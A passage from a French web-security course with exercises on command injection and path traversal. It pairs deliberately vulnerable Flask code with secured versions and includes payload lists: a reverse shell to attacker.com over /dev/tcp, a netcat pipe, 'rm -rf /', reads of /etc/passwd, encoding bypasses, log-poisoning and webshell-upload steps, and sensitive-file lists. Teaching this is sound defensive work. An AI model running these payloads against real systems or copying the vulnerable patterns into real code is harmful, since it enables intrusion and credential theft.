#### [OK] **3. Utiliser des bibliothèques dédiées**

```python
# Au lieu de os.system("ping ...")
import ping3

# [OK] Bibliothèque dédiée (pas de shell)
response_time = ping3.ping('google.com')
```

**Exemples de bibliothèques sûres :**

| Tâche | [X] Dangereux | [OK] Sécurisé |
|-------|-------------|-----------|
| Ping | `os.system("ping")` | `ping3.ping()` |
| Manipulation fichiers | `os.system("cp")` | `shutil.copy()` |
| Téléchargement | `os.system("wget")` | `requests.get()` |
| Compression | `os.system("tar")` | `tarfile`, `zipfile` |
| Images | `os.system("convert")` | `Pillow` (PIL) |

---

#### [OK] **4. Isolation et sandboxing**

```python
import subprocess

# [OK] Exécuter avec utilisateur limité
subprocess.run(
    ['ping', '-c', '4', host],
    user='nobody',  # Utilisateur sans privilèges
    timeout=5
)
```

**Docker pour isolation :**

```python
import docker

client = docker.from_env()

# [OK] Exécuter dans un container isolé
result = client.containers.run(
    'alpine:latest',
    f'ping -c 4 {host}',
    remove=True,
    network_disabled=False,
    mem_limit='128m',
    cpu_quota=50000
)
```

---

#### [OK] **5. Principe du moindre privilège**

```bash
# Ne JAMAIS exécuter l'application en tant que root

# Créer un utilisateur dédié
sudo useradd -r -s /bin/false webapp

# Lancer l'application
sudo -u webapp python app.py
```

---

## [CODE] EXERCICE 14 : COMMAND INJECTION

### Objectif

Créer une application de gestion de réseau avec :
- Fonctions ping, traceroute, nslookup
- Démonstration d'exploitation Command Injection
- Protection complète avec subprocess et whitelist

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# network_tools_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import os
import subprocess

app = Flask(__name__)
CORS(app)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Network Tools</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Courier New', monospace;
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            padding: 20px;
            color: white;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .tools {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .tool-card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .tool-card h3 {
            margin-bottom: 15px;
            color: #ffd700;
        }
        input, select {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            font-size: 16px;
            transition: transform 0.2s;
        }
        button:hover {
            transform: translateY(-2px);
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            margin-top: 20px;
            min-height: 200px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .attack-examples {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
            margin-top: 30px;
        }
        .attack-examples h2 {
            color: #ff4444;
            margin-bottom: 15px;
        }
        .attack-examples code {
            display: block;
            background: rgba(0,0,0,0.5);
            padding: 10px;
            border-radius: 5px;
            margin: 10px 0;
            cursor: pointer;
        }
        .attack-examples code:hover {
            background: rgba(0,0,0,0.7);
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[WEB] Network Diagnostic Tools</h1>
            <p>Web-based network utilities</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - DÉMO COMMAND INJECTION
        </div>
        
        <div class="tools">
            <!-- PING -->
            <div class="tool-card">
                <h3>[RESEAU] Ping</h3>
                <input type="text" id="ping-host" placeholder="Hostname or IP" value="google.com">
                <select id="ping-count">
                    <option value="4">4 packets</option>
                    <option value="8">8 packets</option>
                    <option value="16">16 packets</option>
                </select>
                <button onclick="runPing()">Execute Ping</button>
            </div>
            
            <!-- TRACEROUTE -->
            <div class="tool-card">
                <h3>[RAILWAY_TRACK] Traceroute</h3>
                <input type="text" id="trace-host" placeholder="Hostname or IP" value="google.com">
                <button onclick="runTraceroute()">Execute Traceroute</button>
            </div>
            
            <!-- NSLOOKUP -->
            <div class="tool-card">
                <h3>[RECHERCHE] DNS Lookup</h3>
                <input type="text" id="dns-host" placeholder="Domain name" value="google.com">
                <button onclick="runDNSLookup()">Execute DNS Lookup</button>
            </div>
        </div>
        
        <div class="output" id="output">Output will appear here...</div>
        
        <div class="attack-examples">
            <h2>[DANGER] Command Injection Payloads (Click to copy)</h2>
            <p>Essayez ces payloads dans les champs ci-dessus :</p>
            
            <h3>Basic Injection:</h3>
            <code onclick="copyToClipboard(this)">google.com; whoami</code>
            <code onclick="copyToClipboard(this)">google.com && cat /etc/passwd</code>
            <code onclick="copyToClipboard(this)">google.com | ls -la /</code>
            
            <h3>Blind Injection (Time-based):</h3>
            <code onclick="copyToClipboard(this)">google.com; sleep 10</code>
            
            <h3>Data Exfiltration:</h3>
            <code onclick="copyToClipboard(this)">google.com; cat /etc/passwd > /tmp/pwned.txt</code>
            <code onclick="copyToClipboard(this)">google.com; env</code>
            
            <h3>Reverse Shell (DANGEROUS - Don't use in production):</h3>
            <code onclick="copyToClipboard(this)">google.com; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'</code>
        </div>
    </div>
    
    <script>
        async function runPing() {
            const host = document.getElementById('ping-host').value;
            const count = document.getElementById('ping-count').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Executing ping command...\\n';
            
            try {
                const response = await fetch(`/api/ping?host=${encodeURIComponent(host)}&count=${count}`);
                const data = await response.json();
                
                output.textContent = data.output || data.error;
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function runTraceroute() {
            const host = document.getElementById('trace-host').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Executing traceroute command...\\n';
            
            try {
                const response = await fetch(`/api/traceroute?host=${encodeURIComponent(host)}`);
                const data = await response.json();
                
                output.textContent = data.output || data.error;
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function runDNSLookup() {
            const host = document.getElementById('dns-host').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Executing DNS lookup...\\n';
            
            try {
                const response = await fetch(`/api/dns?host=${encodeURIComponent(host)}`);
                const data = await response.json();
                
                output.textContent = data.output || data.error;
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        function copyToClipboard(element) {
            const text = element.textContent;
            navigator.clipboard.writeText(text).then(() => {
                const originalBg = element.style.background;
                element.style.background = 'rgba(0,255,0,0.3)';
                setTimeout(() => {
                    element.style.background = originalBg;
                }, 500);
            });
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE : Ping
@app.route('/api/ping')
def ping_vulnerable():
    """
    VULNÉRABLE : Utilise os.system() avec input utilisateur
    """
    host = request.args.get('host', 'localhost')
    count = request.args.get('count', '4')
    
    # [X] DANGER : Concatène directement dans la commande
    command = f"ping -c {count} {host}"
    
    print(f"[VULNERABLE] Executing: {command}")
    
    try:
        # [X] VULNÉRABLE : shell=True permet l'injection
        result = subprocess.run(
            command,
            shell=True,  # [X] DANGER !
            capture_output=True,
            text=True,
            timeout=30
        )
        
        output = result.stdout + result.stderr
        
        return jsonify({
            "command": command,
            "output": output,
            "return_code": result.returncode
        })
        
    except subprocess.TimeoutExpired:
        return jsonify({"error": "Command timed out"}), 408
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# [X] ROUTE VULNÉRABLE : Traceroute
@app.route('/api/traceroute')
def traceroute_vulnerable():
    """
    VULNÉRABLE : Utilise os.system()
    """
    host = request.args.get('host', 'localhost')
    
    # [X] DANGER
    command = f"traceroute -m 15 {host}"
    
    print(f"[VULNERABLE] Executing: {command}")
    
    try:
        result = subprocess.run(
            command,
            shell=True,  # [X] DANGER !
            capture_output=True,
            text=True,
            timeout=30
        )
        
        return jsonify({
            "command": command,
            "output": result.stdout + result.stderr
        })
        
    except Exception as e:
        return jsonify({"error": str(e)}), 500

# [X] ROUTE VULNÉRABLE : DNS Lookup
@app.route('/api/dns')
def dns_vulnerable():
    """
    VULNÉRABLE : nslookup avec input non filtré
    """
    host = request.args.get('host', 'localhost')
    
    # [X] DANGER
    command = f"nslookup {host}"
    
    print(f"[VULNERABLE] Executing: {command}")
    
    try:
        result = subprocess.run(
            command,
            shell=True,  # [X] DANGER !
            capture_output=True,
            text=True,
            timeout=10
        )
        
        return jsonify({
            "command": command,
            "output": result.stdout + result.stderr
        })
        
    except Exception as e:
        return jsonify({"error": str(e)}), 500

if __name__ == '__main__':
    print("[RAPIDE] Network Tools (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Command Injection possible !")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python network_tools_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test basique - Whoami :**

Dans le champ Ping, entrer :
```
google.com; whoami
```

**Résultat :**
```
PING google.com (142.250.185.46): 56 data bytes
...

root
```

**[OK] Command injection réussie ! Le serveur a exécuté `whoami`**

---

**4. Test - Lire /etc/passwd :**

```
google.com && cat /etc/passwd
```

**Résultat :**
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

---

**5. Test - Lister les fichiers :**

```
google.com | ls -la /
```

---

**6. Test Blind - Time-based :**

```
google.com; sleep 10
```

**Observation :** La réponse prend 10 secondes -> Preuve d'exécution !

---

**7. Via curl :**

```bash
# Injection simple
curl "http://localhost:5000/api/ping?host=google.com;whoami"

# Exfiltration
curl "http://localhost:5000/api/ping?host=google.com;cat%20/etc/passwd"

# Variables d'environnement
curl "http://localhost:5000/api/ping?host=google.com;env"
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# network_tools_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import subprocess
import re
import socket

app = Flask(__name__)
CORS(app, origins=['http://localhost:3000'])

# [OK] Whitelist de caractères autorisés
HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9.-]+$')
IP_PATTERN = re.compile(r'^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$')

def is_valid_hostname(hostname):
    """
    [OK] Valide strictement le hostname
    """
    if not hostname or len(hostname) > 255:
        return False
    
    # Vérifier le pattern
    if not (HOSTNAME_PATTERN.match(hostname) or IP_PATTERN.match(hostname)):
        return False
    
    # Vérifier que ce n'est pas localhost (optionnel)
    if hostname.lower() in ['localhost', '127.0.0.1', '::1', '0.0.0.0']:
        return False
    
    return True

def is_valid_count(count_str):
    """
    [OK] Valide le nombre de paquets
    """
    try:
        count = int(count_str)
        return 1 <= count <= 20
    except ValueError:
        return False

# [OK] ROUTE SÉCURISÉE : Ping
@app.route('/api/ping')
def ping_secure():
    """
    [OK] SÉCURISÉ : subprocess.run() sans shell
    """
    host = request.args.get('host', '')
    count_str = request.args.get('count', '4')
    
    # [OK] Validation stricte
    if not is_valid_hostname(host):
        return jsonify({"error": "Invalid hostname format"}), 400
    
    if not is_valid_count(count_str):
        return jsonify({"error": "Invalid count (1-20)"}), 400
    
    count = int(count_str)
    
    try:
        # [OK] SÉCURISÉ : Arguments en liste, pas de shell
        result = subprocess.run(
            ['ping', '-c', str(count), host],
            capture_output=True,
            text=True,
            timeout=30
        )
        
        print(f"[SECURE] Executed: ping -c {count} {host}")
        
        return jsonify({
            "output": result.stdout + result.stderr,
            "return_code": result.returncode
        })
        
    except subprocess.TimeoutExpired:
        return jsonify({"error": "Command timed out"}), 408
    except FileNotFoundError:
        return jsonify({"error": "ping command not found"}), 500
    except Exception as e:
        return jsonify({"error": "Internal error"}), 500

# [OK] ROUTE SÉCURISÉE : Traceroute
@app.route('/api/traceroute')
def traceroute_secure():
    """
    [OK] SÉCURISÉ avec validation
    """
    host = request.args.get('host', '')
    
    # [OK] Validation
    if not is_valid_hostname(host):
        return jsonify({"error": "Invalid hostname format"}), 400
    
    try:
        # [OK] Arguments en liste
        result = subprocess.run(
            ['traceroute', '-m', '15', host],
            capture_output=True,
            text=True,
            timeout=60
        )
        
        print(f"[SECURE] Executed: traceroute -m 15 {host}")
        
        return jsonify({
            "output": result.stdout + result.stderr
        })
        
    except subprocess.TimeoutExpired:
        return jsonify({"error": "Command timed out"}), 408
    except Exception as e:
        return jsonify({"error": "Internal error"}), 500

# [OK] ROUTE SÉCURISÉE : DNS Lookup (avec bibliothèque Python)
@app.route('/api/dns')
def dns_secure():
    """
    [OK] SÉCURISÉ : Utilise socket.getaddrinfo() au lieu de nslookup
    """
    host = request.args.get('host', '')
    
    # [OK] Validation
    if not is_valid_hostname(host):
        return jsonify({"error": "Invalid hostname format"}), 400
    
    try:
        # [OK] Utiliser une bibliothèque Python au lieu d'une commande shell
        result = socket.getaddrinfo(host, None)
        
        # Formater le résultat
        addresses = set()
        for family, socktype, proto, canonname, sockaddr in result:
            addresses.add(sockaddr[0])
        
        output = f"DNS Lookup for {host}:\n"
        for addr in sorted(addresses):
            output += f"  {addr}\n"
        
        print(f"[SECURE] DNS lookup for: {host}")
        
        return jsonify({
            "output": output,
            "addresses": list(addresses)
        })
        
    except socket.gaierror as e:
        return jsonify({"error": f"DNS lookup failed: {str(e)}"}), 404
    except Exception as e:
        return jsonify({"error": "Internal error"}), 500

if __name__ == '__main__':
    print("[SECURITE]  Network Tools SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protection : subprocess sans shell + whitelist")
    app.run(debug=False, port=5001)
```

**Tester la protection :**

```bash
# Lancer le serveur sécurisé
python network_tools_secure.py

# Tenter une injection (devrait échouer)
curl "http://localhost:5001/api/ping?host=google.com;whoami"
```

**Résultat :**
```json
{
  "error": "Invalid hostname format"
}
```

**[OK] L'injection est bloquée !**

---

### PARTIE D : COMPARAISON CÔTE À CÔTE

```python
# comparison.py
print("""
╔════════════════════════════════════════════════════════════════════════╗
║              COMPARAISON : VULNÉRABLE vs SÉCURISÉ                      ║
╚════════════════════════════════════════════════════════════════════════╝

[X] VERSION VULNÉRABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

command = f"ping -c {count} {host}"
result = subprocess.run(command, shell=True, ...)

Problèmes :
  1. shell=True -> Interprète les caractères spéciaux
  2. Concaténation de strings -> Injection possible
  3. Pas de validation de l'input
  4. Exécution avec les privilèges de l'application

Exploits possibles :
  • google.com; whoami
  • google.com && cat /etc/passwd
  • google.com | nc attacker.com 4444
  • google.com; rm -rf /


[OK] VERSION SÉCURISÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

if not is_valid_hostname(host):
    return error

result = subprocess.run(['ping', '-c', str(count), host], ...)

Protections :
  1. [OK] Validation stricte (whitelist regex)
  2. [OK] Arguments en liste (pas de shell)
  3. [OK] Timeout pour éviter DoS
  4. [OK] Utiliser des bibliothèques Python quand possible
  5. [OK] Pas de shell=True
  6. [OK] Gestion d'erreurs appropriée

Caractères bloqués :
  ; & | ` $ ( ) < > \n \r


[GRAPHIQUE] RÉSULTATS DES TESTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Payload                        | Vulnérable | Sécurisé
─────────────────────────────────────────────────────────────────────────
google.com; whoami             | [X] PWNED   | [OK] BLOQUÉ
google.com && cat /etc/passwd  | [X] PWNED   | [OK] BLOQUÉ
google.com | ls -la            | [X] PWNED   | [OK] BLOQUÉ
google.com; sleep 10           | [X] PWNED   | [OK] BLOQUÉ
`whoami`.attacker.com          | [X] PWNED   | [OK] BLOQUÉ
google.com                     | [OK] OK      | [OK] OK
192.168.1.1                    | [OK] OK      | [OK] OK (si autorisé)

""")
```

---

## [GRAPHIQUE] RÉCAPITULATIF COMMAND INJECTION

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| subprocess.run() avec liste | ***** | [OK] Facile |
| Validation whitelist | ***** | [OK] Facile |
| Bibliothèques Python natives | ***** | [OK] Facile |
| Timeout | **** | [OK] Facile |
| Utilisateur non-privilégié | **** | [ATTENTION] Moyen |
| Sandboxing (Docker) | ***** | [ATTENTION] Complexe |

---

### [X] Erreurs critiques

- [X] Utiliser os.system() ou shell=True
- [X] Concaténer des strings dans des commandes
- [X] Pas de validation de l'input
- [X] Exécuter en tant que root/admin
- [X] Pas de timeout
- [X] Ne pas utiliser de bibliothèques dédiées

---

### [OBJECTIF] Règles d'or

1. **JAMAIS shell=True** avec input utilisateur
2. **TOUJOURS** valider avec whitelist stricte
3. **PRÉFÉRER** les bibliothèques Python natives
4. **TOUJOURS** utiliser subprocess avec liste d'arguments
5. **TOUJOURS** timeout sur les commandes
6. **JAMAIS** exécuter en root

---

**Prêt pour Path Traversal ?** [RAPIDE]

# 13. PATH TRAVERSAL (DIRECTORY TRAVERSAL)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Path Traversal ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**accéder à des fichiers et répertoires** stockés en dehors du répertoire web root en manipulant les chemins de fichiers avec des séquences comme `../` (dot-dot-slash).

**Analogie simple :**

Imagine une bibliothèque avec différentes sections :
- Section publique : Livres accessibles à tous
- Section privée : Documents confidentiels
- Coffre-fort : Archives ultra-secrètes

Un Path Traversal, c'est comme dire au bibliothécaire : "Je veux le livre dans Section_Publique/../Section_Privée/../Coffre-Fort/secrets.txt"

Le bibliothécaire mal programmé vous donne le fichier au lieu de bloquer l'accès !

---

### Comment fonctionne Path Traversal ?

**Code vulnérable :**

```python
from flask import Flask, request, send_file

app = Flask(__name__)

@app.route('/download')
def download_file():
    """
    [X] VULNÉRABLE : Utilise directement l'input utilisateur
    """
    filename = request.args.get('file', 'document.pdf')
    
    # [X] DANGER : Pas de validation du chemin
    file_path = f"/var/www/uploads/{filename}"
    
    return send_file(file_path)
```

**Utilisation normale :**

```
GET /download?file=report.pdf
-> Télécharge : /var/www/uploads/report.pdf
-> [OK] OK
```

**Exploitation Path Traversal :**

```
GET /download?file=../../../etc/passwd
-> Télécharge : /var/www/uploads/../../../etc/passwd
-> Résolu en : /etc/passwd
-> [X] PWNED !

GET /download?file=../../../../var/log/apache2/access.log
-> [X] Lecture des logs serveur

GET /download?file=../../../home/user/.ssh/id_rsa
-> [X] Vol de clé SSH privée
```

---

### Séquences d'évasion (Bypass)

| Technique | Payload | Description |
|-----------|---------|-------------|
| **Dot-Dot-Slash basique** | `../../../etc/passwd` | Remonte de 3 niveaux |
| **Encodage URL** | `..%2f..%2f..%2fetc%2fpasswd` | `%2f` = `/` |
| **Double encodage** | `..%252f..%252f..%252fetc%252fpasswd` | `%25` = `%` |
| **Encodage Unicode** | `..%c0%af..%c0%af..%c0%afetc%c0%afpasswd` | Overlong UTF-8 |
| **Backslash (Windows)** | `..\..\..\windows\system32\config\sam` | Windows utilise `\` |
| **Mixte slash** | `..\/..\/..\/etc/passwd` | Mélange `/` et `\` |
| **Null byte** | `../../../etc/passwd%00.pdf` | Tronque l'extension |
| **Chemin absolu** | `/etc/passwd` | Direct (si pas de préfixe) |

---

### Fichiers sensibles ciblés

#### **Linux :**

```bash
# Système
/etc/passwd                    # Utilisateurs du système
/etc/shadow                    # Hachages des mots de passe (root only)
/etc/hosts                     # Configuration DNS locale
/proc/self/environ             # Variables d'environnement
/proc/self/cmdline             # Ligne de commande du processus
/proc/self/fd/0                # File descriptors
/var/log/apache2/access.log    # Logs Apache
/var/log/nginx/access.log      # Logs Nginx
/var/log/auth.log              # Logs d'authentification

# Configuration application
/var/www/html/.env             # Variables d'environnement
/var/www/html/config.php       # Configuration PHP
/var/www/html/database.yml     # Configuration DB
/home/user/.ssh/id_rsa         # Clé SSH privée
/home/user/.bash_history       # Historique commandes

# Code source
/var/www/html/index.php
/var/www/html/admin.php
```

---

#### **Windows :**

```
# Système
C:\Windows\System32\config\SAM              # Base utilisateurs
C:\Windows\System32\config\SYSTEM           # Configuration système
C:\Windows\win.ini                          # Configuration Windows
C:\Windows\System32\drivers\etc\hosts       # Fichier hosts

# Application
C:\inetpub\wwwroot\web.config              # Configuration IIS
C:\xampp\htdocs\config.php                 # Configuration XAMPP
C:\Program Files\Application\database.ini

# Logs
C:\Windows\System32\LogFiles\W3SVC1\
C:\inetpub\logs\LogFiles\
```

---

### Types d'attaques Path Traversal

#### 1. **Lecture de fichiers (File Disclosure)**

```bash
# Lire /etc/passwd
GET /download?file=../../../../etc/passwd

# Lire code source
GET /view?page=../../../../var/www/html/login.php
```

---

#### 2. **Inclusion de fichiers locaux (LFI)**

```php
<?php
// Code vulnérable
include($_GET['page'] . '.php');
?>
```

**Exploitation :**

```
GET /index.php?page=../../../../etc/passwd%00
-> include('/etc/passwd');
-> Affiche le contenu de /etc/passwd
```

---

#### 3. **Log Poisoning (LFI + RCE)**

**Étape 1 : Injecter du code PHP dans les logs**

```bash
# Requête avec User-Agent malveillant
curl http://site.com/ -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
```

**Étape 2 : Inclure le fichier de log**

```
GET /view?page=../../../../var/log/apache2/access.log&cmd=whoami
-> Le code PHP dans le log est exécuté !
-> RCE (Remote Code Execution)
```

---

#### 4. **Upload + Path Traversal**

```python
# Code vulnérable
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = file.filename  # [X] Pas de validation
    
    file.save(f'/var/www/uploads/{filename}')
```

**Exploitation :**

```bash
# Upload avec chemin malveillant
curl -F "file=@shell.php" http://site.com/upload \
  -F "filename=../../../../var/www/html/shell.php"

# Résultat : shell.php uploadé dans le webroot !
-> RCE via http://site.com/shell.php
```

---

#### 5. **Session Hijacking via Path Traversal**

```
GET /download?file=../../../../tmp/sess_abc123
-> Lecture du fichier de session
-> Vol de session utilisateur
```

---

### Impact de Path Traversal

| Impact | Gravité | Exemple |
|--------|---------|---------|
| **Lecture de fichiers sensibles** | CRITIQUE | /etc/passwd, /etc/shadow, clés SSH |
| **Vol de credentials** | CRITIQUE | database.yml, .env, web.config |
| **Code source disclosure** | ÉLEVÉ | Révèle la logique métier |
| **RCE (via LFI + Log Poisoning)** | CRITIQUE | Contrôle total du serveur |
| **Session hijacking** | ÉLEVÉ | Vol de sessions |
| **DoS** | MOYEN | Lecture de gros fichiers (/dev/zero) |

---

### Cas réels

**1. Zip Slip (2018)**

**Faille :** Extraction d'archives ZIP sans valider les chemins

**Code vulnérable :**

```python
import zipfile

# [X] VULNÉRABLE
with zipfile.ZipFile('archive.zip') as zf:
    zf.extractall('/var/www/uploads/')
    # Si l'archive contient "../../evil.php"
    # -> Écrit en dehors du répertoire cible !
```

**Impact :** 
- Milliers de projets affectés
- Langages : Java, JavaScript, .NET, Go, Ruby

---

**2. GitLab Arbitrary File Read - CVE-2016-9086**

**Faille :** Path traversal dans l'import de projets

```
GET /api/v4/projects/1/repository/files/..%2F..%2F..%2Fetc%2Fpasswd
```

**Impact :** Lecture de fichiers arbitraires sur les serveurs GitLab

---

**3. Cisco ASA - CVE-2018-0296**

**Faille :** Path traversal dans l'interface web

```
GET /+CSCOE+/session_password.js?query=../../../../../../etc/passwd
```

**Impact :** 
- Lecture de fichiers sensibles
- 100,000+ dispositifs vulnérables

---

### Comment se protéger ?

#### [OK] **1. Whitelist de fichiers autorisés**

```python
from flask import Flask, request, send_file, abort

ALLOWED_FILES = {
    'report1.pdf': '/var/www/uploads/reports/annual_report_2024.pdf',
    'manual.pdf': '/var/www/uploads/docs/user_manual.pdf',
    'invoice.pdf': '/var/www/uploads/invoices/invoice_123.pdf'
}

@app.route('/download')
def download_secure():
    """
    [OK] SÉCURISÉ : Whitelist stricte
    """
    file_key = request.args.get('file')
    
    # [OK] Vérifier dans la whitelist
    if file_key not in ALLOWED_FILES:
        abort(404)
    
    # [OK] Utiliser le chemin mappé
    file_path = ALLOWED_FILES[file_key]
    
    return send_file(file_path)
```

**Avantages :**
- [OK] Contrôle total sur les fichiers accessibles
- [OK] Impossible d'accéder à d'autres fichiers

---

#### [OK] **2. Validation stricte du nom de fichier**

```python
import os
import re

SAFE_FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_.-]+$')
UPLOAD_DIR = '/var/www/uploads/'

def is_safe_filename(filename):
    """
    [OK] Valide que le filename ne contient que des caractères sûrs
    """
    # Vérifier le pattern
    if not SAFE_FILENAME_PATTERN.match(filename):
        return False
    
    # Bloquer les noms réservés
    if filename in ['.', '..', '']:
        return False
    
    # Vérifier la longueur
    if len(filename) > 255:
        return False
    
    return True

@app.route('/download')
def download_secure():
    filename = request.args.get('file', '')
    
    # [OK] Validation
    if not is_safe_filename(filename):
        return "Invalid filename", 400
    
    # [OK] Construire le chemin complet
    file_path = os.path.join(UPLOAD_DIR, filename)
    
    # [OK] Vérifier que le chemin résolu est dans le répertoire autorisé
    if not file_path.startswith(os.path.abspath(UPLOAD_DIR)):
        return "Access denied", 403
    
    # [OK] Vérifier que le fichier existe
    if not os.path.isfile(file_path):
        return "File not found", 404
    
    return send_file(file_path)
```

---

#### [OK] **3. Utiliser os.path.basename()**

```python
import os

@app.route('/download')
def download_secure():
    """
    [OK] basename() supprime les chemins relatifs
    """
    filename = request.args.get('file', '')
    
    # [OK] Extraire seulement le nom du fichier
    safe_filename = os.path.basename(filename)
    # "../../../etc/passwd" -> "passwd"
    # "../../shell.php" -> "shell.php"
    
    file_path = os.path.join('/var/www/uploads/', safe_filename)
    
    return send_file(file_path)
```

**[ATTENTION] Attention :** basename() seul n'est pas suffisant si le fichier peut être ailleurs. Combiner avec d'autres validations.

---

#### [OK] **4. Vérifier le chemin résolu (realpath)**

```python
import os

UPLOAD_DIR = os.path.abspath('/var/www/uploads/')

@app.route('/download')
def download_secure():
    filename = request.args.get('file', '')
    
    # Construire le chemin
    requested_path = os.path.join(UPLOAD_DIR, filename)
    
    # [OK] Résoudre le chemin (élimine ../)
    real_path = os.path.abspath(requested_path)
    
    # [OK] CRITIQUE : Vérifier que le chemin résolu est dans le répertoire autorisé
    if not real_path.startswith(UPLOAD_DIR):
        return "Access denied - Path traversal detected", 403
    
    # [OK] Vérifier existence
    if not os.path.isfile(real_path):
        return "File not found", 404
    
    return send_file(real_path)
```

**Explication :**

```python
# Exemple de fonctionnement
UPLOAD_DIR = '/var/www/uploads/'

# Input malveillant
filename = '../../../etc/passwd'

# Construction
requested_path = '/var/www/uploads/../../../etc/passwd'

# Résolution
real_path = os.path.abspath(requested_path)
# -> '/etc/passwd'

# Vérification
real_path.startswith(UPLOAD_DIR)
# -> False ('/etc/passwd' ne commence pas par '/var/www/uploads/')
# -> BLOQUÉ !
```

---

#### [OK] **5. Utiliser des UUID comme identifiants**

```python
import uuid
import os

# Base de données : Mapping UUID -> Chemin réel
FILE_MAPPING = {
    'a1b2c3d4-e5f6-7890-abcd-ef1234567890': '/var/www/uploads/report_2024.pdf',
    'f9e8d7c6-b5a4-3210-fedc-ba0987654321': '/var/www/uploads/invoice_123.pdf'
}

@app.route('/download/<file_id>')
def download_by_uuid(file_id):
    """
    [OK] TRÈS SÉCURISÉ : Utiliser des UUID au lieu de noms de fichiers
    """
    # Valider format UUID
    try:
        uuid.UUID(file_id)
    except ValueError:
        return "Invalid file ID", 400
    
    # Récupérer le chemin depuis la DB
    file_path = FILE_MAPPING.get(file_id)
    
    if not file_path:
        return "File not found", 404
    
    return send_file(file_path)
```

**Avantages :**
- [OK] Impossible de deviner les chemins
- [OK] Pas de révélation de structure
- [OK] Contrôle total via base de données

---

#### [OK] **6. Chroot jail (avancé)**

```python
import os

def chroot_environment():
    """
    [OK] Changer le root directory (nécessite root)
    """
    os.chroot('/var/www/uploads/')
    os.chdir('/')
    
    # Maintenant, même "../../../etc/passwd"
    # ne peut pas sortir de /var/www/uploads/

# [ATTENTION] Nécessite privilèges root pour chroot()
```

---

## [CODE] EXERCICE 15 : PATH TRAVERSAL

### Objectif

Créer une application de gestion de documents avec :
- Upload et téléchargement de fichiers
- Visualisation d'images
- Démonstration d'exploitation Path Traversal
- Protection complète avec validation et UUID

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# file_manager_vulnerable.py
from flask import Flask, request, jsonify, send_file, render_template_string
from flask_cors import CORS
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)
CORS(app)

UPLOAD_FOLDER = '/tmp/uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

# Créer quelques fichiers de test
with open('/tmp/secret.txt', 'w') as f:
    f.write('API_KEY=sk-1234567890abcdef\nDB_PASSWORD=SuperSecret123\n')

with open(os.path.join(UPLOAD_FOLDER, 'public_doc.txt'), 'w') as f:
    f.write('This is a public document.')

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container {
            max-width: 1200px;
